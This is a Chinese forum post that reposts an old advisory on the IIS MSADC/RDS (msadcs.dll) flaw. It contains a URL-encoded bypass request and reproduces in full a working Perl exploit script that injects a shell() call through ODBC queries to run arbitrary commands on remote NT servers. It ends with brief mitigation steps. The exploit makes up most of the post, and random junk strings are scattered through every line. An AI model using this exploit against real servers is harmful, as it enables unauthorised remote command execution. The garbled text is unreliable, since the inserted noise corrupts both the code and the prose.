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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ,SM- Z`'  
/C:'qhY,  
涉及程序: xI4I1"/  
Microsoft NT server QBw ZfX  
*D{/p/|[  
描述: 0xxzhlKNL  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 A]+h<Y~}  
],YYFU}  
详细: u#M)i30j  
如果你没有时间读详细内容的话,就删除: $.N~AA~0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll \zI&n &T  
有关的安全问题就没有了。 9$,gTU_a  
P{Z71a5  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 U&n>fXTHn  
Doh|G:P]#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 e87- B1`  
关于利用ODBC远程漏洞的描述,请参看: 05KoxFO?  
w~U`+2a3  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm BR^J y<^F'  
7ILa H|eN  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 KY`96~z  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp '^l^gW/|\  
0#[f2X62B  
这里不再论述。 E)JyKm.  
i+[3o@  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: '= <`@  
<gdgcvd  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset b H?qijrC  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! V*zz- 2 _i  
H 1D;:n  
' f$L  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 7F(F.ut  
S9NN.dKu  
#!perl :dguQ|e  
# b!X"2'  
# MSADC/RDS 'usage' (aka exploit) script EOX_[ek7  
# 1 j12Qn@]  
# by rain.forest.puppy bez'[Y{  
# R5eB,FN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me -t 6R!ZI  
# beta test and find errors! p,iCM?[|  
q83~j `ZJ$  
use Socket; use Getopt::Std; GD[ou.C}k  
getopts("e:vd:h:XR", \%args); *sB-scD  
B^_Chj*m  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; PGPbpl&\t  
I26gGp  
if (!defined $args{h} && !defined $args{R}) { %Sn6*\z  
print qq~ :pDY  
Usage: msadc.pl -h <host> { -d <delay> -X -v } =/g$bZ  
-h <host> = host you want to scan (ip or domain) Ydh<TF4!  
-d <seconds> = delay between calls, default 1 second 9V;$v  
-X = dump Index Server path table, if available uUz`=4%A  
-v = verbose ! F <] T  
-e = external dictionary file for step 5 @ 9 { %Kn  
2d2@J{  
Or a -R will resume a command session [9O~$! <%  
^ Y7/Ow  
~; exit;} }utNZhJ  
V`\f+Uu  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; `cP'~OT  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} h Y}/Y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} v0C;j (2zb  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ?JgO-.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} H_?B{We  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } d{yIy'+0/  
pf8O`e,Awf  
if (!defined $args{R}){ $ret = &has_msadc; $}nh[@  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} '^U tbp2<  
R6Zj=l[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 8b(1ut{  
. "cmd /c "; A!{.|x[S44  
$in=<STDIN>; chomp $in; 'q92E(  
$command="cmd /c " . $in ; IE)"rTI)b  
*NW QmC~  
if (defined $args{R}) {&load; exit;} v1nQs='  
Fi'M"^:r {  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; z]c,} Q  
&try_btcustmr; Q)Iv_N/  
icPp8EwH  
print "\nStep 2: Trying to make our own DSN..."; 'cZMRR c <  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =zm0w~']E!  
Y=a v8Y|`  
print "\nStep 3: Trying known DSNs..."; ;tp]^iB#  
&known_dsn; sLG>>d3R1  
'B3Wza.  
print "\nStep 4: Trying known .mdbs..."; #P%1{l5m  
&known_mdb; 1BMB?I  
Or+*q91j  
if (defined $args{e}){ =_RcoG/^~  
print "\nStep 5: Trying dictionary of DSN names..."; N^\2 _T  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u  m: 0y,  
$_RWd#Q(  
print "Sorry Charley...maybe next time?\n"; G#e9$!  
exit; (!*Xhz,(-  
Pr5g6I'G   
############################################################################## " ^HK@$  
]$~Fzs  
sub sendraw { # ripped and modded from whisker _ktK+8*6`  
sleep($delay); # it's a DoS on the server! At least on mine... + UK%t>E8  
my ($pstr)=@_; s:+HRJD|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || pw,O"6J*  
die("Socket problems\n"); Jcz]J)|5v  
if(connect(S,pack "SnA4x8",2,80,$target)){ @S}/g/+2  
select(S); $|=1; )sW6iR&_i  
print $pstr; my @in=<S>; f]tv`<Q7  
select(STDOUT); close(S); r$GPYyHK  
return @in; l'*^$qc  
} else { die("Can't connect...\n"); }} k0|`y U  
ietRr!$.  
############################################################################## sI&i{D  
xF( bS+(o  
sub make_header { # make the HTTP request [1{SY=)  
my $msadc=<<EOT 0R HS]cN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 khU6*`lQ  
User-Agent: ACTIVEDATA 7/H^<%;y  
Host: $ip fJN*s  
Content-Length: $clen C.J`8@a]?  
Connection: Keep-Alive Oj4v#GK]  
4\LZD{  
ADCClientVersion:01.06 rv9B}%e  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 #NvQmz?J?  
b TLMd$  
--!ADM!ROX!YOUR!WORLD! FXP6zHsV  
Content-Type: application/x-varg b?_e+:\UV  
Content-Length: $reqlen Ih.rC>)rx  
h+,'B&=|_  
EOT d_Q*$Iz)3  
; $msadc=~s/\n/\r\n/g; #z ON_[+s9  
return $msadc;} 0QMTIAW6h  
d<Ggw#}:m  
############################################################################## C:`;d&d  
'yp>L|  
sub make_req { # make the RDS request M.>^{n$ z  
my ($switch, $p1, $p2)=@_; 0b/i r2  
my $req=""; my $t1, $t2, $query, $dsn; *cbeyB{E  
e`i7ah;  
if ($switch==1){ # this is the btcustmr.mdb query CSMeSPOm]  
$query="Select * from Customers where City=" . make_shell(); E7Ibp79}N  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . nX0HT )}  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {?E<](+0  
 _e%dM  
elsif ($switch==2){ # this is general make table query v" }WP34  
$query="create table AZZ (B int, C varchar(10))"; G&q'#3ieC  
$dsn="$p1";} 1/B]TT  
wfgqgPo!v  
elsif ($switch==3){ # this is general exploit table query T~BA)![  
$query="select * from AZZ where C=" . make_shell(); YT>KJ  
$dsn="$p1";} z{S:X:X  
xfjd5J7'  
elsif ($switch==4){ # attempt to hork file info from index server #/Ruz'H1>  
$query="select path from scope()"; vr=~M?  
$dsn="Provider=MSIDXS;";} lT2 4JhJ#  
A)tP()+)  
elsif ($switch==5){ # bad query w|IjQ1{  
$query="select"; ! Tx&vtq  
$dsn="$p1";} TZ[Zm  
+nZUL*Ut/  
$t1= make_unicode($query); 33Jd!orXU  
$t2= make_unicode($dsn); JVtQ ,oZ  
$req = "\x02\x00\x03\x00"; =#qZ3 Qz_  
$req.= "\x08\x00" . pack ("S1", length($t1)); L!t@-5~  
$req.= "\x00\x00" . $t1 ; ,CP 5~4u  
$req.= "\x08\x00" . pack ("S1", length($t2)); zh\p  
$req.= "\x00\x00" . $t2 ; :0$a.8Y\++  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; tz26=8  
return $req;} Ck\7F?S  
RK[D_SmS  
############################################################################## F^QQ0h]2  
{~SaRB2<'  
sub make_shell { # this makes the shell() statement E<>*(x/\e  
return "'|shell(\"$command\")|'";} A{# Nwd>  
"(v%1tGk  
############################################################################## iPq &Y*  
r9# \13-  
sub make_unicode { # quick little function to convert to unicode zN#*G i'  
my ($in)=@_; my $out;  UXT p  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } *U;'OWE[  
return $out;} 9'?se5\  
aSC9&Nf;  
############################################################################## 98R KCc9h  
~@T<gA9V  
sub rdo_success { # checks for RDO return success (this is kludge) IOL L1ar  
my (@in) = @_; my $base=content_start(@in); Q_]d5pl  
if($in[$base]=~/multipart\/mixed/){ 7p.>\YtoR}  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} -(i(02PX  
return 0;} k|xtrW`qo;  
Y34/+Fi  
############################################################################## G O{ . 9_2  
*wuqa) q2  
sub make_dsn { # this makes a DSN for us !*aPEf270  
my @drives=("c","d","e","f"); u:&o}[  
print "\nMaking DSN: "; 5;\gJf  
foreach $drive (@drives) { #`(WUn0H?  
print "$drive: "; ]PWDE"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {ox2Tg?  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" M*sR3SZ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); mMSh2B  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \\06T `  
return 0 if $2 eq "404"; # not found/doesn't exist \P;rES'  
if($2 eq "200") { l.`u5D  
foreach $line (@results) { .~>?*}  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7ER|'j  
} return 0;} G,f-.  
UH? p]4Nz  
############################################################################## 'OkGReKt  
eSEq{ ?>  
sub verify_exists { FdzNE  
my ($page)=@_; n(1')?"mA  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 08s_v=cF  
return $results[0];} lx |5?P  
mj&57D\fq  
############################################################################## 0p(L'  
,HB2 hHD  
sub try_btcustmr { |l0Ea  
my @drives=("c","d","e","f"); b>\?yL/%+?  
my @dirs=("winnt","winnt35","winnt351","win","windows"); zce`\ /:  
U!(@q!>G  
foreach $dir (@dirs) { {D`'0Z1"  
print "$dir -> "; # fun status so you can see progress )w h%|  
foreach $drive (@drives) { |&3x#1A  
print "$drive: "; # ditto P`$!@T0=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; JhHWu<  
$reqlenlen=length( "$reqlen" ); 7 <9yH:1  
$clen= 206 + $reqlenlen + $reqlen; D}3T|N  
UlcH%pxTt1  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); GsQ*4=C  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} HOoPrB m  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ( #D*Pl  
>j*;vG5T  
############################################################################## WIr2{+#  
'G&{GVbXY  
sub odbc_error { r%@Lej5+  
my (@in)=@_; my $base; \f:z+F!6R  
my $base = content_start(@in); P 1XK*GZ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this m<rhIq  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; NGC,lv  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '3 33Ctxy  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 1x)ZB~L  
return $in[$base+4].$in[$base+5].$in[$base+6];} %" D%:   
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; gF?[rqz{  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . N8toxRu  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} TlZT1H  
=(v^5  
############################################################################## j;b42G~p  
g.py+ ZFJ  
sub verbose { ;U9J++\d<A  
my ($in)=@_; 5xCT~y/a  
return if !$verbose; 8:=n*  
print STDOUT "\n$in\n";} B* kcN lW  
P{OAV+cG  
############################################################################## T9W`?A  
rxn Frx  
sub save { p)aeH`;O  
my ($p1, $p2, $p3, $p4)=@_; =m89z}Ot  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; _VE^/;$"l  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; bmgncwlz  
close OUT;} $+JS&k/'m  
U>Ld~cw  
############################################################################## K6/@]y%Wr  
gr-9l0u  
sub load { FBx_c;)9Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; /1N6X.Zb  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); uvDzKMw~R  
@p=<IN>; close(IN); &QRE"_g  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Q;11N7+  
$target= inet_aton($ip) || die("inet_aton problems"); c 'uhK8|  
print "Resuming to $ip ..."; {]_uMg#!  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; `Z: R Ce^  
if($p[1]==1) { N6K* d` o  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Hnknly  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; r{\1wt  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >r`b_K  
if (rdo_success(@results)){print "Success!\n";} dzLQI}89+k  
else { print "failed\n"; verbose(odbc_error(@results));}} \B F*m"lz  
elsif ($p[1]==3){ > fnh+M  
if(run_query("$p[3]")){ *IgE)N >  
print "Success!\n";} else { print "failed\n"; }} De7T s  
elsif ($p[1]==4){ =4V&*go*\  
if(run_query($drvst . "$p[3]")){ ZkL8e  
print "Success!\n"; } else { print "failed\n"; }} dQoYCS}IaV  
exit;} 4[Z\ ?[  
glDcUCF3  
############################################################################## v+p {|X-  
7C#`6:tI  
sub create_table { {3;AwhN0H  
my ($in)=@_; &'cL%.  
$reqlen=length( make_req(2,$in,"") ) - 28; vEf4HZ&w  
$reqlenlen=length( "$reqlen" ); \(226^|j  
$clen= 206 + $reqlenlen + $reqlen; 8fA_p}wp  
my @results=sendraw(make_header() . make_req(2,$in,"")); GjoIm?  
return 1 if rdo_success(@results); #^m0aB7r  
my $temp= odbc_error(@results); verbose($temp); =q N2Xg/  
return 1 if $temp=~/Table 'AZZ' already exists/; rpeJkG@+  
return 0;} SJD@&m%?[  
9T#;,{VQ  
############################################################################## P96pm6H_;  
+]=e;LN$0  
sub known_dsn { EY*(Bw  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go fYKOJ5f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", C{TA.\   
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", hxce\OuU0h  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); %ZHP2j %~  
 "KcA  
foreach $dSn (@dsns) { n>@oBG)!  
print "."; W3`>8v1?o  
next if (!is_access("DSN=$dSn")); pv| Pm  
if(create_table("DSN=$dSn")){ R$;n)_H  
print "$dSn successful\n"; y#}cC+;   
if(run_query("DSN=$dSn")){ [MuEoWrq(}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ),%6V5a+E  
print "Something's borked. Use verbose next time\n";}}} print "\n";} wFG3KzEq ~  
*s@Qtgu  
############################################################################## U qG .:@T  
{vAE:W.s  
sub is_access { $w"$r$K9K  
my ($in)=@_; /cc\fw1+  
$reqlen=length( make_req(5,$in,"") ) - 28; o7IxJCL=Q  
$reqlenlen=length( "$reqlen" );  hi g2  
$clen= 206 + $reqlenlen + $reqlen; [+O"<Ua  
my @results=sendraw(make_header() . make_req(5,$in,"")); GfM;saTz{  
my $temp= odbc_error(@results); j ";2o(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); (sVi\R  
return 0;} nUkaz*4qU  
f~ }H  
############################################################################## !i=nSqW  
9UvXC)R1  
sub run_query { J2uZmEt  
my ($in)=@_; N0#JOu}~  
$reqlen=length( make_req(3,$in,"") ) - 28; [@yV!#2  
$reqlenlen=length( "$reqlen" ); v[Kxja;  
$clen= 206 + $reqlenlen + $reqlen; g{5A4|_7  
my @results=sendraw(make_header() . make_req(3,$in,"")); >X*Mio8P#  
return 1 if rdo_success(@results); sz9L8f2  
my $temp= odbc_error(@results); verbose($temp); CI3XzH\IX*  
return 0;} Z7 E  
bWOS `5  
############################################################################## re> rr4@  
?%H):r  
sub known_mdb { Y@PI {;!  
my @drives=("c","d","e","f","g"); cQ9q;r`%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); {Zp\^/  
my $dir, $drive, $mdb; as J)4ema  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; L(X6-M:  
KK@.~'d  
# this is sparse, because I don't know of many N!*_La=TuH  
my @sysmdbs=( "\\catroot\\icatalog.mdb", `^lYw:xA  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", S_~z-`;h!  
"\\system32\\certmdb.mdb", qCv20#!"|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :;t #\%L/  
uc|45Zxt  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", xe/(  
"\\cfusion\\cfapps\\forums\\forums_.mdb", *L!!]Q2c  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", MDF%\Sx  
"\\cfusion\\cfapps\\security\\realm_.mdb", g2unV[()_  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", =J1rlnaaEL  
"\\cfusion\\database\\cfexamples.mdb", #-h\.#s  
"\\cfusion\\database\\cfsnippets.mdb", c'*a{CV4P  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", T?4G'84nN  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 8i?l02  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .7n\d55a  
"\\cfusion\\database\\smpolicy.mdb", *Vho?P6y\Y  
"\\cfusion\\database\cypress.mdb", y-CX}B#j  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", "?| > btr  
"\\website\\cgi-win\\dbsample.mdb", o/ui)U_   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y#g4$"G9  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" u ElAnrm  
); #these are just 2B,] -Mu)  
foreach $drive (@drives) { &N3Y|2  
foreach $dir (@dirs){ a ^%"7Ri  
foreach $mdb (@sysmdbs) { a')|1DnR  
print "."; ZY:[ekm%4Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Iy }:F8F>g  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 5Ba[k[b^  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 5+fLeC;  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; _v* nlc  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t=xOQ 8  
8XsguC  
foreach $drive (@drives) { &d'Awvy0  
foreach $mdb (@mdbs) { &N;-J2M  
print "."; ] Eh}L  
if(create_table($drv . $drive . $dir . $mdb)){ Y6&wJ<   
print "\n" . $drive . $dir . $mdb . " successful\n"; g (#f:"  
if(run_query($drv . $drive . $dir . $mdb)){ }MlwC;ot  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HI@syFaJM  
} else { print "Something's borked. Use verbose next time\n"; }}}} DLCkM*'  
} ,\v91Rp~?  
&7_Qd4=08w  
############################################################################## Ja ,Cvt  
JAI)Eqqv]  
sub hork_idx { hUm'8)OJ  
print "\nAttempting to dump Index Server tables...\n"; d[;.r  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; \w'*z&`W9  
$reqlen=length( make_req(4,"","") ) - 28; sdS^e`S  
$reqlenlen=length( "$reqlen" ); 5/O'R9A4  
$clen= 206 + $reqlenlen + $reqlen; ++DG5`  
my @results=sendraw2(make_header() . make_req(4,"","")); h`3eu;5)  
if (rdo_success(@results)){ a<fUI%_  
my $max=@results; my $c; my %d; 8| $3OVS  
for($c=19; $c<$max; $c++){ Ka,^OW}<%q  
$results[$c]=~s/\x00//g; B4]`-mahO  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; w;l<[q?_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Q3"} Hl2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; CA +uKM^"6  
$d{"$1$2"}="";} %8~3M75$  
foreach $c (keys %d){ print "$c\n"; } ek N' k  
} else {print "Index server doesn't seem to be installed.\n"; }} |`jjHuQ;  
Zy09L}59P  
############################################################################## r/*=%~*  
oP4GEr  
sub dsn_dict { xai4pF-?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 2W$cFC  
while(<IN>){ TXZv2P9  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; gsn)Wv$h  
next if (!is_access("DSN=$dSn")); WAn'kA  
if(create_table("DSN=$dSn")){ 9+keX{/c  
print "$dSn successful\n"; v 36%Pj`  
if(run_query("DSN=$dSn")){ ?)\a_ Tn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ,()0' h}n  
print "Something's borked. Use verbose next time\n";}}} y1/o^d+@  
print "\n"; close(IN);} r0m*5rd1  
@}:uu$OH  
############################################################################## ]@Sj`J[fd  
y7^{yS[,  
sub sendraw2 { # ripped and modded from whisker  kQ   
sleep($delay); # it's a DoS on the server! At least on mine... Ldn8  
my ($pstr)=@_; "HXYNS>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || }=!,o  
die("Socket problems\n"); )7:J[0ZiQ  
if(connect(S,pack "SnA4x8",2,80,$target)){ o`.R!wm:W  
print "Connected. Getting data"; `N5|Ho*C  
open(OUT,">raw.out"); my @in; U#1bp}y  
select(S); $|=1; print $pstr; 0T>H)c6:\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 72veLB  
close(OUT); select(STDOUT); close(S); return @in; P#:?ok  
} else { die("Can't connect...\n"); }} vpU#xm.K  
7L^%x3-|&  
############################################################################## W}|'#nR  
[7 YPl9  
sub content_start { # this will take in the server headers <ioO,oS'  
my (@in)=@_; my $c; V:G>G'Eh0  
for ($c=1;$c<500;$c++) { CwJDmz\tk  
if($in[$c] =~/^\x0d\x0a/){ Ks\ NE=;5  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } d9n?v)<v  
else { return $c+1; }}} b<]n%Q'n  
return -1;} # it should never get here actually PoIl>c1MS  
$\k0Nup}  
############################################################################## nW|wY.  
boo }u  
sub funky { {$ep7;'d  
my (@in)=@_; my $error=odbc_error(@in); `f'K@  
if($error=~/ADO could not find the specified provider/){ K|oacOF9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; @2*]"/)*0  
exit;} mYU9 trHV  
if($error=~/A Handler is required/){ |] Qg7m,O  
print "\nServer has custom handler filters (they most likely are patched)\n"; _uJ"m8Tl  
exit;} a[2vjFf#C  
if($error=~/specified Handler has denied Access/){ +S))3 5N[  
print "\nServer has custom handler filters (they most likely are patched)\n"; +<prgP`v  
exit;}} ;us%/kOR  
",)Qc!^P$  
############################################################################## aTzjm`F0  
!cGDy/ |  
sub has_msadc { _{|D  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); xW[ -n  
my $base=content_start(@results); |7#[ (%D!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); o!~Jzd.=h  
return 0;} 1@gguRF:  
G7=p Bf  
######################## W0=O+0$^  
9!><<7TS  
V_Wwrhua  
解决方案: # 6!5 2  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll V#jWege  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 0<TD/1wN  
;}z\i  
拿出来充数 哈哈
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